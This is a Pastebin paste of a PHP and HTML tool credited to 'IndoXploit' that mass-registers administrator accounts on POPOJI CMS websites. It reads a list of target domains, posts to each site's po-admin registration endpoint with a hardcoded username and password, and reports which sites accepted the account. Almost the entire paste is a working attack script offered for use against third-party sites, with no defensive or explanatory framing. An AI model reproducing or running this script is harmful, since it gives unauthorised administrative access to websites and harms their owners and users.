Advertisement
Guest User

Untitled

a guest
Oct 24th, 2017
379
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.53 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>POPOJI CMS Add Admin Auto Registration</title>
  4. <center><font color="aqua">tools ini milik kita bersama</font></center>
  5. <meta name="author" content="IndoXploit">
  6. <style type="text/css">
  7. html {
  8. margin: 20px auto;
  9. background: #000000;
  10. color: #ffffff;
  11. }
  12. header {
  13. color: lime;
  14. font-size: 35px;
  15. margin: 10px auto;
  16. text-align: center;
  17. text-decoration: underline;
  18. }
  19. input[type=text] {
  20. border: 1px solid #008000;
  21. color: #bb0000;
  22. width: 500px;
  23. height: 20px;
  24. padding-left: 5px;
  25. margin: 5px auto;
  26. background: transparent;
  27. }
  28. input[type=submit] {
  29. border: 1px solid #008000;
  30. color: #bb0000;
  31. background: transparent;
  32. width: 500px;
  33. }
  34. textarea {
  35. background: transparent;
  36. color: #bb0000;
  37. border: 1px solid #008000;
  38. resize: none;
  39. width: 500px;
  40. height: 250px;
  41. padding-left: 5px;
  42. margin: 5px auto;
  43. }
  44. a {
  45. text-decoration: none;
  46. color: lime;
  47. }
  48. a:hover {
  49. text-decoration: underline;
  50. }
  51. </style>
  52. </head>
  53. <?php
  54. set_time_limit(0);
  55. error_reporting(0);
  56.  
  57. function dav($url, $post=null) {
  58. $ch = curl_init();
  59. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  60. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  61. curl_setopt($ch, CURLOPT_URL, $url);
  62. if($post != null) {
  63. curl_setopt($ch, CURLOPT_POST, true);
  64. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  65. }
  66. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  67. curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  68. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  69. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  70. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  71. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HHTP_USER_AGENT']);
  72. curl_setopt($ch, CURLOPT_HEADER, 0);
  73. return curl_exec($ch);
  74. curl_close($ch);
  75. }
  76.  
  77. $sites = explode("\r\n", $_POST['url']);
  78. $user = "indoxploit";
  79. $pass = $user;
  80. $email = htmlspecialchars($_POST['email']);
  81. if($_POST['hajar']) {
  82. echo "<span style='font-size: 25px; text-decoration: underline; color: lime; margin-bottom: 20px;'>Result Gannnnn</span><p>";
  83. if(!filter_var($email, FILTER_VALIDATE_EMAIL) === false) {
  84. foreach($sites as $url) {
  85. if(!preg_match("/^http:\/\//", $url) AND !preg_match("/^https:\/\//", $url)) {
  86. $url = "http://".$url;
  87. } else {
  88. $url = $url;
  89. }
  90. echo "[+] Nyecan -> $url<br>";
  91. $post_register = array(
  92. "username" => $user,
  93. "email" => $email,
  94. "password" => $pass,
  95. "re-password" => $pass,
  96. );
  97. $register = dav("$url/po-admin/actregister.php", $post_register);
  98. echo "[+] Register ";
  99. if(!preg_match("/404|headers already sent|disabled for security reasons|Please type another email!/", $register) AND preg_match("/SUCCESS!!!|>Check your email for next step. Thank you!/", $register)) {
  100. echo "<font color=lime>OK!</font><br>";
  101. echo "[+] <font color=gold>Cek emailmu buat aktivasi</font><br>";
  102. echo "[+] u/p: <font color=lime>$user</font><br><br>";
  103. $post_login = array(
  104. "username" => $user,
  105. "password" => $pass,
  106. );
  107. } else {
  108. echo "<font color=red>Gagal!</font><br><br>";
  109. }
  110. }
  111. } else {
  112. echo "<font color=red>Emailmu ga valid bosss, email harus valid biar bisa masuk token registrasinyaa.</font>";
  113. }
  114. } else {
  115. ?>
  116. <center>
  117. <header>POPOJI Auto Registration</header>
  118. <form method="post">
  119. Email: <br>
  120. <input type="text" name="email" value="cakil@gmail.com" placeholder="mrcakil1@asu.com" required><br>
  121. Domains: <br>
  122. <textarea name="url"></textarea><br>
  123. <input type="submit" name="hajar" value="Xploit!">
  124. </form>
  125. </center>
  126. <?php
  127. }
  128. ?>
  129. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement